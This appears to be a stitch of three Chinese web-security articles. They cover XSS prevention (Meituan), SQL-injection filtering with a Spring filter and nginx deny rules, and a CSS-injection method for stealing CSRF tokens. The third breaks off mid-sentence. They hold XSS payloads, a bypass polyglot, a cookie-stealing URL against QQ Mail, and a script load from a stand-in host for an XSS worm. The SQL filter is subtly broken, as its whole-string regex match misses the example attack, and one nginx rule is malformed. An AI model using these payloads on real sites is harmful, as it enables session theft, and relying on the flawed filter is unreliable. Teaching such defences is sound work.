當當當,我是美團技術團隊的程序員鼓勵師美美~“基本功”專欄又來新文章了,這次是一個系列,一起來學習前端安全的那些事。我們將不斷梳理常見的前端安全問題以及對應的解決方案,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞,Enjoy Reading!
背景
隨著互聯網的高速發展,信息安全問題已經成為企業最為關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。
前端安全
近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端同學在日常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。
今天我們講解一下 XSS ,主要包括:
XSS攻擊的介紹
在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:
如果你還不能確定答案,那么可以帶著這些問題向下看,我們將逐步拆解問題。
XSS 漏洞的發生和修復
XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。
一個案例
某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好并且上線。代碼如下:
<input type="text" value="<%=getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%=getParameter("keyword") %> </div>
然而,在上線后不久,小明就接到了安全組發來的一個神秘鏈接:
http://xxx/search?keyword="><script>alert('XSS');</script>
小明帶著一種不祥的預感點開了這個鏈接[請勿模仿,確認安全的鏈接才能點開]。果然,頁面中彈出了寫著"XSS"的對話框。
可惡,中招了!小明眉頭一皺,發現了其中的奧秘:
當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是:"><script>alert('XSS');</script> </div>
瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執行。
這里不僅僅 div 的內容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。
面對這種情況,我們應該如何進行防范呢?
其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那么只要告訴瀏覽器這段內容是文本就可以了。
聰明的小明很快找到解決方法,把這個漏洞修復:
<input type="text" value="<%=escapeHTML(getParameter("keyword")) %>"> <button>搜索</button> <div> 您搜索的關鍵詞是:<%=escapeHTML(getParameter("keyword")) %> </div>
escapeHTML() 按照如下規則進行轉義:
經過了轉義函數的處理后,最終瀏覽器接收到的響應為:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是:"><script>alert('XSS');</script> </div>
惡意代碼都被轉義,不再被瀏覽器執行,而且搜索詞能夠完美的在頁面顯示出來。
通過這個事件,小明學習到了如下知識:
注意特殊的 HTML 屬性、JavaScript API
自從上次事件之后,小明會小心的把插入到頁面中的數據進行轉義。而且他還發現了大部分模板都帶有的轉義配置,讓所有插入到頁面中的數據都默認進行轉義。這樣就不怕不小心漏掉未轉義的變量啦,于是小明的工作又漸漸變得輕松起來。
但是,作為導演的我,不可能讓小明這么簡單、開心地改 Bug 。
不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點開頁面。然而,頁面并沒有自動彈出萬惡的“XSS”。
小明打開對應頁面的源碼,發現有以下內容:
<a href="<%=escapeHTML(getParameter("redirect_to")) %>">跳轉...</a>
這段代碼,當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:
<a href="javascript:alert('XSS')">跳轉...</a>
雖然代碼不會立即執行,但一旦用戶點擊 a 標簽時,瀏覽器會就會彈出alert('xss')。
可惡,又失策了…
在這里,用戶的數據并沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內容并不是我們所預期的類型。
原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現在特定的位置也會引發 XSS 攻擊。
小明眉頭一皺,想到了解決辦法:
// 禁止 URL 以 "javascript:" 開頭 xss=getParameter("redirect_to").startsWith('javascript:'); if (!xss) { <a href="<%=escapeHTML(getParameter("redirect_to"))%>"> 跳轉... </a> } else { <a href="/404"> 跳轉... </a> }
只要 URL 的開頭不是 javascript:,就安全了吧?
安全組隨手又扔了一個連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執行?…..好吧,瀏覽器就是這么強大。
小明欲哭無淚,在判斷 URL 開頭是否為 javascript: 時,先把用戶輸入轉成了小寫,然后再進行比對。
不過,所謂“道高一尺,魔高一丈”。面對小明的防護策略,安全組就構造了這樣一個連接:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS') 經過 URL 解析后變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者可以繞過后端的關鍵詞規則,又成功的完成了注入。
最終,小明選擇了白名單的方法,徹底解決了這個漏洞:
// 根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 allowSchemes=["http", "https"]; valid=isValid(getParameter("redirect_to"), allowSchemes); if (valid) { <a href="<%=escapeHTML(getParameter("redirect_to"))%>"> 跳轉... </a> } else { <a href="/404"> 跳轉... </a> }
通過這個事件,小明學習到了如下知識:
根據上下文采用不同的轉義規則
某天,小明為了加快網頁的加載速度,把一個數據通過 JSON 的方式內聯到 HTML 中:
<script> var initData=<%=data.toJSON() %> </script>
插入 JSON 的地方不能使用 escapeHTML(),因為轉義 " 后,JSON 格式會被破壞。
但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:
于是我們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。轉義規則如下:
修復后的代碼如下:
<script> var initData=<%=escapeEmbedJSON(data.toJSON()) %>
通過這個事件,小明學習到了如下知識:
漏洞總結
小明的例子講完了,下面我們來系統的看下 XSS 有哪些注入的方法:
總之,如果開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。
XSS攻擊的分類
通過上述幾個例子,我們已經對 XSS 有了一些認識。
什么是 XSS
Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。
為了和 CSS 區分,這里把攻擊的第一個字母改成了 X,于是叫做 XSS。
XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導致惡意腳本被執行。
而由于直接在用戶的終端執行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。
在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由瀏覽器執行,來完成比較復雜的攻擊策略。
這里有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?
不僅僅是業務上的“用戶的 UGC 內容”可以進行注入,包括 URL 上的參數等都可以是攻擊的來源。在處理輸入時,以下內容都不可信:
XSS 分類
根據攻擊的來源,XSS 攻擊可分為存儲型、反射型和 DOM 型三種。
存儲型 XSS
存儲型 XSS 的攻擊步驟:
這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。
反射型 XSS
反射型 XSS 的攻擊步驟:
反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。
由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。
POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,并引導用戶點擊),所以非常少見。
DOM 型 XSS
DOM 型 XSS 的攻擊步驟:
DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。
XSS攻擊的預防
通過前面的介紹可以得知,XSS 攻擊有兩大要素:
針對第一個要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?
輸入過濾
在用戶提交時,由前端過濾輸入,然后提交到后端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意代碼了。
那么,換一個過濾時機:后端在寫入數據庫前,對輸入進行過濾,然后把“安全的”內容,返回給前端。這樣是否可行呢?
我們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 < 7。
問題是:在提交階段,我們并不確定內容要輸出到哪里。
這里的“并不確定內容要輸出到哪里”有兩層含義:
所以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時應避免此類方法。
當然,對于明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。
既然輸入過濾并非完全可靠,我們就要通過“防止瀏覽器執行惡意代碼”來防范 XSS。這部分分為兩類:
預防存儲型和反射型 XSS 攻擊
存儲型和反射型 XSS 都是在服務端取出惡意代碼后,插入到響應 HTML 里的,攻擊者刻意編寫的“數據”被內嵌到“代碼”中,被瀏覽器所執行。
預防這兩種漏洞,有兩種常見做法:
純前端渲染
純前端渲染的過程:
在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。
在很多內部、管理系統中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。
轉義 HTML
如果拼接 HTML 是必要的,就需要采用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉義通常只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確實能起到一定的 XSS 防護作用,但并不完善:
所以要完善 XSS 防護措施,我們要使用更完善更細致的轉義策略。
例如 Java 工程里,常用的轉義庫為 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明。
<!-- HTML 標簽內文字內容 --> <div><%=Encode.forHtml(UNTRUSTED) %></div> <!-- HTML 標簽屬性值 --> <input value="<%=Encode.forHtml(UNTRUSTED) %>" /> <!-- CSS 屬性值 --> <div style="width:<=Encode.forCssString(UNTRUSTED) %>"> <!-- CSS URL --> <div style="background:<=Encode.forCssUrl(UNTRUSTED) %>"> <!-- JavaScript 內聯代碼塊 --> <script> var msg="<%=Encode.forJavaScript(UNTRUSTED) %>"; alert(msg); </script> <!-- JavaScript 內聯代碼塊內嵌 JSON --> <script> var __INITIAL_STATE__=JSON.parse('<%=Encoder.forJavaScript(data.to_json) %>'); </script> <!-- HTML 標簽內聯監聽器 --> <button onclick="alert('<%=Encode.forJavaScript(UNTRUSTED) %>');"> click me </button> <!-- URL 參數 --> <a href="/search?value=<%=Encode.forUriComponent(UNTRUSTED) %>&order=1#top"> <!-- URL 路徑 --> <a href="/page/<%=Encode.forUriComponent(UNTRUSTED) %>"> <!-- URL. 注意:要根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 --> <a href='<%=urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : "/404" %>'> link </a>
可見,HTML 的編碼是十分復雜的,在不同的上下文里要使用相應的轉義規則。
預防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。
在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的數據作為 HTML 插到頁面上,而應盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。
<!-- 內聯事件監聽器中包含惡意代碼 --> <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,"> <!-- 鏈接內包含惡意代碼 --> <a href="UNTRUSTED">1</a> <script> // setTimeout()/setInterval() 中調用惡意代碼 setTimeout("UNTRUSTED") setInterval("UNTRUSTED") // location 調用惡意代碼 location.href='UNTRUSTED' // eval() 中調用惡意代碼 eval("UNTRUSTED") </script>
如果項目中有用到這些的話,一定要避免在字符串中拼接不可信數據。
其他XSS防范措施
雖然在渲染頁面和執行 JavaScript 時,通過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和后果。
Content Security Policy
嚴格的 CSP 在 XSS 的防范中可以起到以下的作用:
關于 CSP 的詳情,請關注前端安全系列后續的文章。
輸入內容長度控制
對于不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。
其他安全措施
XSS的檢測
上述經歷讓小明收獲頗豐,他也學會了如何去預防和修復 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對于已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?
經過一番搜索,小明找到了兩個方法:
在Unleashing an Ultimate XSS Polyglot一文中,小明發現了這么一個字符串:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
它能夠檢測到存在于 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。
小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就可以進行檢測了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
XSS攻擊的總結
我們回到最開始提出的問題,相信同學們已經有了答案:
1. XSS 防范是后端 RD 的責任,后端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。
不正確。因為:防范存儲型和反射型 XSS 是后端 RD 的責任。而 DOM 型 XSS 攻擊不發生在后端,是前端 RD 的責任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統工程。轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。
2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符后,就可以插入到頁面了。
不正確。不同的上下文,如 HTML 屬性、HTML 文字內容、HTML 注釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所需要的轉義規則不一致。業務 RD 需要選取合適的轉義庫,并針對不同的上下文調用不同的轉義規則。
整體的 XSS 防范是非常復雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對數據進行對應的轉義。而且要防止多余和錯誤的轉義,避免正常的用戶輸入出現亂碼。
雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:
XSS攻擊案例
QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uin、domain 未經轉義直接輸出到 HTML 中。
于是攻擊者構建出一個 URL,并引導用戶去點擊:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:
<script> getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
瀏覽器接收到響應后就會執行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。
新浪微博名人堂反射型 XSS 漏洞
攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未經過濾直接輸出到 HTML 中。
于是攻擊者構建出一個 URL,然后誘導用戶去點擊:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:
<li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
瀏覽器接收到響應后就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態進行關注、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊范圍。這種竊用受害者身份發布惡意內容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。
XSS攻擊擴展閱讀:Automatic Context-Aware Escaping
上文我們說到:
通常,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分理解 XSS 的各種情況,并且需要保證每一個插入點使用了正確的轉義規則。
這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隱患。
2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping。
所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每個插入點所處的上下文,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人為帶來的疏漏。
在一個支持 Automatic Context-Aware Escaping 的模板引擎里,業務 RD 可以這樣定義模板,而無需手動實施轉義規則:
<html> <head> <meta charset="UTF-8"> <title>{{.title}}</title> </head> <body> <a href="{{.url}}">{{.content}}</a> </body> </html>
模板引擎經過解析后,得知三個插入點所處的上下文,自動選用相應的轉義規則:
<html> <head> <meta charset="UTF-8"> <title>{{.title | htmlescaper}}</title> </head> <body> <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a> </body> </html>
目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:
課后作業:XSS攻擊小游戲
以下是幾個 XSS 攻擊小游戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊即可通關。
在玩游戲的過程中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。
alert(1) to win
prompt(1) to win
XSS game
參考文獻
下期預告
前端安全系列文章將對 XSS、CSRF、網絡劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請期待。
作者介紹
李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面性能優化相關工作。
歡迎加入美團前端安全技術交流群,跟作者零距離交流。請加美美同學的微信(微信號:MTDPtech01),回復:前端安全,美美會自動拉你進群。
SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
SQL案列
String sql="delete from table1 where id=" + "id";
這個id從請求參數中獲取,若參數被拼接為:
?
1001 or 1=1
?
最執行語句變為:
String sql="delete from table1 where id=1001 or 1=1";
此時,數據庫的數據都會被清空掉,后果非常嚴重
這里總結4種:
PreparedStatement具有預編譯功能,以上述SQL為例
使用PreparedStatement預編譯后的SQL為:
delete from table1 where id=?
此時SQL語句結構已固定,無論"?"被替換為任何參數,SQL語句只認為where后面只有一個條件,當再傳入 1001 or 1=1時,語句會報錯,從而達到防止SQL注入效果
mybatis中#{}表達式防止SQL注入與PreparedStatement類似,都是對SQL語句進行預編譯處理
注意:
#{} :參數占位符
${} :拼接替換符,不能防止SQL注入,一般用于
這里是springboot的寫法,如下:
import org.springframework.context.annotation.Configuration;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.util.Enumeration;
/**
* @Auther: 睡竹
* @Date: 2023/03/07
* @Description: sql防注入過濾器
*/
@WebFilter(urlPatterns="/*",filterName="sqlFilter")
@Configuration
public class SqlFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
/**
* @description sql注入過濾
*/
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
ServletRequest request=servletRequest;
ServletResponse response=servletResponse;
// 獲得所有請求參數名
Enumeration<String> names=request.getParameterNames();
String sql="";
while (names.hasMoreElements()){
// 得到參數名
String name=names.nextElement().toString();
// 得到參數對應值
String[] values=request.getParameterValues(name);
for (int i=0; i < values.length; i++) {
sql +=values[i];
}
}
if (sqlValidate(sql)) {
//TODO 這里直接拋異常處理,前后端交互項目中,請把錯誤信息按前后端"數據返回的VO"對象進行封裝
throw new IOException("您發送請求中的參數中含有非法字符");
} else {
filterChain.doFilter(request,response);
}
}
/**
* @description 匹配效驗
*/
protected static boolean sqlValidate(String str){
// 統一轉為小寫
String s=str.toLowerCase();
// 過濾掉的sql關鍵字,特殊字符前面需要加\\進行轉義
String badStr= "select|update|and|or|delete|insert|truncate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute|table|"+
"char|declare|sitename|xp_cmdshell|like|from|grant|use|group_concat|column_name|" +
"information_schema.columns|table_schema|union|where|order|by|" +
"'\\*|\\;|\\-|\\--|\\+|\\,|\\//|\\/|\\%|\\#";
//使用正則表達式進行匹配
boolean matches=s.matches(badStr);
return matches;
}
@Override
public void destroy() {}
}
越來越多網站使用nginx進行反向代理,該層我們也可以進行防止SQL注入配置。
將下面的Nginx配置文件代碼放入到server塊中,然后重啟Nginx即可
if ($request_method !~* GET|POST) { return 444; }
#使用444錯誤代碼可以更加減輕服務器負載壓力。
#防止SQL注入
if ($query_string ~* (\$|'|--|[+|(%20)]union[+|(%20)]|[+|(%20)]insert[+|(%20)]|[+|(%20)]drop[+|(%20)]|[+|(%20)]truncate[+|(%20)]|[+|(%20)]update[+|(%20)]|[+|(%20)]from[+|(%20)]|[+|(%20)]grant[+|(%20)]|[+|(%20)]exec[+|(%20)]|[+|(%20)]where[+|(%20)]|[+|(%20)]select[+|(%20)]|[+|(%20)]and[+|(%20)]|[+|(%20)]or[+|(%20)]|[+|(%20)]count[+|(%20)]|[+|(%20)]exec[+|(%20)]|[+|(%20)]chr[+|(%20)]|[+|(%20)]mid[+|(%20)]|[+|(%20)]like[+|(%20)]|[+|(%20)]iframe[+|(%20)]|[\<|%3c]script[\>|%3e]|javascript|alert|webscan|dbappsecurity|style|confirm\(|innerhtml|innertext)(.*)$) { return 555; }
if ($uri ~* (/~).*) { return 501; }
if ($uri ~* (\\x.)) { return 501; }
#防止SQL注入
if ($query_string ~* "[;'<>].*") { return 509; }
if ($request_uri ~ " ") { return 509; }
if ($request_uri ~ (\/\.+)) { return 509; }
if ($request_uri ~ (\.+\/)) { return 509; }
#if ($uri ~* (insert|select|delete|update|count|master|truncate|declare|exec|\*|\')(.*)$ ) { return 503; }
#防止SQL注入
if ($request_uri ~* "(cost\()|(concat\()") { return 504; }
if ($request_uri ~* "[+|(%20)]union[+|(%20)]") { return 504; }
if ($request_uri ~* "[+|(%20)]and[+|(%20)]") { return 504; }
if ($request_uri ~* "[+|(%20)]select[+|(%20)]") { return 504; }
if ($request_uri ~* "[+|(%20)]or[+|(%20)]") { return 504; }
if ($request_uri ~* "[+|(%20)]delete[+|(%20)]") { return 504; }
if ($request_uri ~* "[+|(%20)]update[+|(%20)]") { return 504; }
if ($request_uri ~* "[+|(%20)]insert[+|(%20)]") { return 504; }
if ($query_string ~ "(<|%3C).*script.*(>|%3E)") { return 505; }
if ($query_string ~ "GLOBALS(=|\[|\%[0-9A-Z]{0,2})") { return 505; }
if ($query_string ~ "_REQUEST(=|\[|\%[0-9A-Z]{0,2})") { return 505; }
if ($query_string ~ "proc/self/environ") { return 505; }
if ($query_string ~ "mosConfig_[a-zA-Z_]{1,21}(=|\%3D)") { return 505; }
if ($query_string ~ "base64_(en|de)code\(.*\)") { return 505; }
if ($query_string ~ "[a-zA-Z0-9_]=http://") { return 506; }
if ($query_string ~ "[a-zA-Z0-9_]=(\.\.//?)+") { return 506; }
if ($query_string ~ "[a-zA-Z0-9_]=/([a-z0-9_.]//?)+") { return 506; }
if ($query_string ~ "b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)b") { return 507; }
if ($query_string ~ "b(erections|hoodia|huronriveracres|impotence|levitra|libido)b") {return 507; }
if ($query_string ~ "b(ambien|bluespill|cialis|cocaine|ejaculation|erectile)b") { return 507; }
if ($query_string ~ "b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)b") { return 507; }
#這里大家根據自己情況添加刪減上述判斷參數,cURL、wget這類的屏蔽有點兒極端了,但要“寧可錯殺一千,不可放過一個”。
if ($http_user_agent ~* YisouSpider|ApacheBench|WebBench|Jmeter|JoeDog|Havij|GetRight|TurnitinBot|GrabNet|masscan|mail2000|github|wget|curl|Java|python) { return 508; }
#同上,大家根據自己站點實際情況來添加刪減下面的屏蔽攔截參數。
if ($http_user_agent ~* "Go-Ahead-Got-It") { return 508; }
if ($http_user_agent ~* "GetWeb!") { return 508; }
if ($http_user_agent ~* "Go!Zilla") { return 508; }
if ($http_user_agent ~* "Download Demon") { return 508; }
if ($http_user_agent ~* "Indy Library") { return 508; }
if ($http_user_agent ~* "libwww-perl") { return 508; }
if ($http_user_agent ~* "Nmap Scripting Engine") { return 508; }
if ($http_user_agent ~* "~17ce.com") { return 508; }
if ($http_user_agent ~* "WebBench*") { return 508; }
if ($http_user_agent ~* "spider") { return 508; } #這個會影響國內某些搜索引擎爬蟲,比如:搜狗
#攔截各惡意請求的UA,可以通過分析站點日志文件或者waf日志作為參考配置。
if ($http_referer ~* 17ce.com) { return 509; }
#攔截17ce.com站點測速節點的請求,所以明月一直都說這些測速網站的數據僅供參考不能當真的。
if ($http_referer ~* WebBench*") { return 509; }
#攔截WebBench或者類似壓力測試工具,其他工具只需要更換名稱即可。
原文鏈接:https://mp.weixin.qq.com/s/nJVuXxtfPG7XoKy_i274PQ
SS相信大家不會陌生,在百度百科中它的解釋是一種用來表現HTML(標準通用標記語言的一個應用)或XML(標準通用標記語言的一個子集)等文件樣式的計算機語言。那么,它僅僅只是一種用來表示樣式的語言嗎?當然不是!其實早在幾年前,CSS就已被安全研究人員運用于滲透測試當中。這里有一篇文章就為我們詳細介紹了一種,使用屬性選擇器和iFrame,并通過CSS注入來竊取敏感數據的方法。但由于該方法需要iFrame,而大多數主流站點都不允許該操作,因此這種攻擊方法并不實用。
這里我將為大家詳細介紹一種不需要iframe且只需10秒,就能為我們有效地竊取CSRF token的方法
一旦用戶的CSRF token被竊取,由于受害者已經在攻擊者的網站上,因此攻擊者可以繼續攻擊并完成對用戶的CSRF攻擊操作。
背景
正如原文所描述的那樣,CSS屬性選擇器開發者可以根據屬性標簽的值匹配子字符串來選擇元素。 這些屬性值選擇器可以做以下操作:
如果字符串以子字符串開頭,則匹配
如果字符串以子字符串結尾,則匹配
如果字符串在任何地方包含子字符串,則匹配
屬性選擇器能讓開發人員查詢單個屬性的頁面HTML標記,并且匹配它們的值。一個實際的用例是將以“https://example.com”開頭的所有href屬性變為某種特定的顏色。
而在實際環境中,一些敏感信息會被存放在HTML標簽內。在大多數情況下CSRF token都是以這種方式被存儲的:即隱藏表單的屬性值中。
這使得我們可以將CSS選擇器與表單中的屬性進行匹配,并根據表單是否與起始字符串匹配,加載一個外部資源,例如背景圖片,來嘗試猜測屬性的起始字母。
通過這種方式,攻擊者可以進行逐字猜解并最終獲取到完整的敏感數值。
想要解決這個問題受害者可以在其服務器實施內容安全策略(CSP),防止攻擊者從外部加載CSS代碼。
無iFrames
要做到無iFrame,我將使用一種類似于之前我討論過的方法:我將創建一個彈窗,然后在設置計時器后更改彈出窗口的位置。
使用這種方法,我仍然可以加載受害者的CSS,但我不再依賴于受害者是否允許iFrame。因為最初的彈出是通過用戶事件觸發的,所以我并沒有被瀏覽器阻止。
為了強制重載,我在CSS注入間彈出一個虛擬窗口,如下:
